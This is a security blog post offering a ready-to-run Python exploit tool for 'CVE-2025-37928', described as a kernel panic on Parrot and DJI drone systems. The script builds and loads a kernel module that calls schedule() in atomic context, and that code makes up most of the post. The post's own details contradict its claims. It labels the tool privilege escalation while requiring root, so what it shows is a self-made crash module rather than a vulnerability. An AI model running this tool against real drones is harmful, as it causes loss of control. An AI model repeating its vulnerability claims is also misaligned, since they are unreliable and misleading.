Parrot & DJI Drone OS Kernel Panic via schedule() in Atomic Context (CVE-2025-37928)

Parrot & DJI Drone OS Kernel Panic via schedule() in Atomic Context (CVE-2025-37928)

⚠ CVE CVE-2025-37928
Ethical Use Notice [click to collapse]

This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.

Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.

Disclosure status: Full Disclosure

CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.

Proof of Concept available — Full exploit code on GitHub. Use in authorized environments only.
▷ View PoC on GitHub

Content *

Overview

A vulnerability tracked as CVE-2025-37928 affects Linux-based operating systems used in drones manufactured by Parrot and DJI.

The issue arises when the Linux kernel improperly allows schedule() to be invoked within an atomic context, resulting in a kernel panic.

This vulnerability can be exploited locally to cause a complete system crash, impacting availability and potentially disrupting drone operations.


Affected Systems

Affected drone platforms include:

  • Parrot QRD
  • Parrot Alpha-M
  • DJI QRD
  • DJI Alpha-M

Affected kernel versions (observed):

  • Linux 5.10
  • Linux 5.15
  • Linux 6.0

Technical Details

The vulnerability is triggered when:

schedule();

is executed inside an atomic context (e.g., tasklets or interrupt handlers).

In Linux kernel design:

  • Atomic contexts must not sleep
  • schedule() attempts to yield CPU → requires sleeping
  • This mismatch leads to a kernel panic

The PoC uses a tasklet to execute the vulnerable call:

DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);

When the module is loaded:

  1. Tasklet is scheduled
  2. schedule() is executed inside atomic context
  3. Kernel detects invalid state
  4. Immediate panic occurs

Proof of Concept (PoC)

The provided Python script:

  • Builds a malicious kernel module
  • Loads it into the system
  • Triggers the kernel panic
#!/usr/bin/env python3
# Exploit Title: Parrot and DJI variants Drone OSes - Kernel Panic Exploit
# Author: Mohammed Idrees Banyamer
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-06-10
# Tested on: Parrot QRD, Parrot Alpha-M, DJI QRD, DJI Alpha-M
# CVE: CVE-2025-37928
# Type: Local Privilege Escalation / Kernel Panic
# Platform: Linux-based drone OS (Parrot and DJI variants)
# Author Country: Jordan
# CVSS v3.1 Score: 7.3 (Important)
# Weakness: CWE-284: Improper Access Control
# Attack Vector: Local
# User Interaction: None
# Scope: Unchanged
# Confidentiality, Integrity, Availability Impact: High (Denial of Service via Kernel Panic)
# Exploit Code Maturity: Proof of Concept
# Remediation Level: Official Fix Available
#
# Description:
# This PoC triggers a kernel panic by calling schedule() inside an atomic context,
# exploiting CVE-2025-37928 present in certain Linux kernels running on
# Parrot QRD, Parrot Alpha-M, DJI QRD, and DJI Alpha-M drone operating systems.
#
# Steps of exploitation:
# 1. Check if running as root.
# 2. Verify kernel version vulnerability.
# 3. Detect drone type from system files.
# 4. Build and load vulnerable kernel module.
# 5. Trigger kernel panic by scheduling a tasklet calling schedule() in atomic context.
#
# Affected Drone Versions:
# - Parrot QRD
# - Parrot Alpha-M (DT)
# - DJI QRD
# - DJI Alpha-M (DT)
#
# ------------------------------------------------------------------------------
#  Usage:
#   sudo python3 cve_2025_37928_tool.py [OPTIONS]
#
#  Options:
#   --dry-run         Run detection & build only (no module loading)
#   --force           Force exploit even if kernel not detected as vulnerable
#   --cleanup-only    Remove the kernel module without triggering panic
#   --verbose         Enable detailed logging and debug output
#   --help            Show usage information
#
#  Examples:
#   sudo python3 cve_2025_37928_tool.py --dry-run
#   sudo python3 cve_2025_37928_tool.py
#   sudo python3 cve_2025_37928_tool.py --force
#   sudo python3 cve_2025_37928_tool.py --cleanup-only
#
#  Warning:
#   This PoC causes an immediate kernel panic.
#   Use it ONLY in isolated and controlled environments (e.g., lab tests).
# ------------------------------------------------------------------------------

import os
import sys
import subprocess
import tempfile
import argparse
import shutil
import platform

MODULE_NAME = "cve_2025_37928_poc"
C_FILENAME = MODULE_NAME + ".c"
KO_FILENAME = MODULE_NAME + ".ko"

KERNEL_MODULE_CODE = r'''
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/sched.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("PoC Author");
MODULE_DESCRIPTION("PoC for CVE-2025-37928: schedule() in atomic context causes kernel panic");

static void trigger_panic_tasklet(unsigned long data)
{
    pr_alert("[CVE-2025-37928] Executing schedule() inside atomic context. This will panic!\n");
    schedule(); // This causes kernel panic
}

DECLARE_TASKLET(my_tasklet, trigger_panic_tasklet, 0);

static int __init poc_init(void)
{
    pr_info("[CVE-2025-37928] Loading PoC module and scheduling tasklet...\n");
    tasklet_schedule(&my_tasklet);
    return 0;
}

static void __exit poc_exit(void)
{
    tasklet_kill(&my_tasklet);
    pr_info("[CVE-2025-37928] PoC module unloaded\n");
}

module_init(poc_init);
module_exit(poc_exit);
'''

MAKEFILE_CONTENT = f'''
obj-m += {MODULE_NAME}.o

all:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
\tmake -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
'''

def check_root():
    if os.geteuid() != 0:
        print("[-] Must be run as root.")
        sys.exit(1)

def detect_kernel():
    version = platform.release()
    vulnerable_versions = ["5.10", "5.15", "6.0"]
    vulnerable = any(v in version for v in vulnerable_versions)
    print(f"[i] Kernel version: {version} => {'VULNERABLE' if vulnerable else 'UNKNOWN/SAFE'}")
    return vulnerable

def detect_drone_type():
    print("[*] Detecting drone type...")
    files = ["/etc/drone_type", "/proc/device-tree/model", "/sys/firmware/devicetree/base/model"]
    found = []
    for path in files:
        if os.path.exists(path):
            try:
                with open(path, "r") as f:
                    content = f.read().strip()
                    if any(x in content for x in ["Parrot", "DJI"]):
                        found.append(content)
            except:
                continue
    if found:
        for d in found:
            print(f"  [i] Found: {d}")
    else:
        print("  [!] No drone ID found.")
    return found

def write_module(tempdir):
    c_path = os.path.join(tempdir, C_FILENAME)
    makefile_path = os.path.join(tempdir, "Makefile")
    with open(c_path, "w") as f:
        f.write(KERNEL_MODULE_CODE)
    with open(makefile_path, "w") as f:
        f.write(MAKEFILE_CONTENT)
    return c_path

def build_module(tempdir):
    print("[*] Building module...")
    result = subprocess.run(["make"], cwd=tempdir, capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] Build failed:\n", result.stderr)
        sys.exit(1)
    print("[+] Build successful.")
    return os.path.join(tempdir, KO_FILENAME)

def load_module(ko_path):
    print("[*] Loading kernel module...")
    result = subprocess.run(["insmod", ko_path], capture_output=True, text=True)
    if result.returncode != 0:
        print("[-] insmod failed:\n", result.stderr)
        sys.exit(1)
    print("[!] Module loaded. Kernel panic should occur if vulnerable.")

def unload_module():
    print("[*] Attempting to remove module...")
    subprocess.run(["rmmod", MODULE_NAME], stderr=subprocess.DEVNULL)
    print("[+] Module removal attempted.")

def clean_build(tempdir):
    subprocess.run(["make", "clean"], cwd=tempdir, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def main():
    parser = argparse.ArgumentParser(description="CVE-2025-37928 Kernel Panic Exploit Tool for Drone OSes")
    parser.add_argument("--dry-run", action="store_true", help="Only simulate and check environment, no exploitation")
    parser.add_argument("--force", action="store_true", help="Force execution even if version unknown")
    parser.add_argument("--cleanup-only", action="store_true", help="Just remove kernel module if loaded")

    args = parser.parse_args()
    check_root()

    if args.cleanup_only:
        unload_module()
        return

    vulnerable = detect_kernel()
    detect_drone_type()

    if not vulnerable and not args.force:
        print("[-] Kernel not identified as vulnerable. Use --force to override.")
        sys.exit(1)

    if args.dry_run:
        print("[*] Dry run mode. Exiting before exploitation.")
        return

    with tempfile.TemporaryDirectory() as tempdir:
        print(f"[*] Working directory: {tempdir}")
        write_module(tempdir)
        ko_path = build_module(tempdir)

        try:
            load_module(ko_path)
        except KeyboardInterrupt:
            print("[!] Interrupted. Attempting cleanup...")
        finally:
            unload_module()
            clean_build(tempdir)

if __name__ == "__main__":
    main()

How the Exploit Works

Execution flow:

  1. Verify root privileges
  2. Detect kernel version
  3. Identify drone platform
  4. Compile kernel module dynamically
  5. Load module using insmod
  6. Tasklet executes schedule()
  7. Kernel panic occurs

Impact

Successful exploitation leads to:

  • Immediate kernel crash
  • Full denial of service
  • Loss of drone control (temporary)
  • Potential mission disruption

Impact severity:

  • Availability: High
  • Integrity: High
  • Confidentiality: Low

CVSS Score: 7.3 (High)


Attack Requirements

  • Local access to the drone system
  • Root privileges
  • Ability to load kernel modules

Mitigation

Recommended actions:

  • Apply vendor patches for affected kernels
  • Restrict kernel module loading (module signing)
  • Disable unnecessary root access
  • Monitor system logs for abnormal kernel activity

Disclosure Timeline

  • 2025-06-10 — Vulnerability discovered
  • 2025-06-10 — PoC developed
  • 2025-06-XX — Vendor notified
  • 2025-XX-XX — Patch released

Researcher

Security research conducted by:

Mohammed Idrees Banyamer
Cybersecurity Researcher – Jordan 🇯🇴

GitHub: https://github.com/mbanyamer
Instagram: @banyamer_security


Disclaimer

This proof-of-concept is provided for educational purposes and authorized testing only. Running this exploit will crash the system and should only be performed in controlled environments.


Disclosure: Full Disclosure

Comments

No comments yet. Be the first.

Leave a Comment

Comments are moderated and will appear after approval.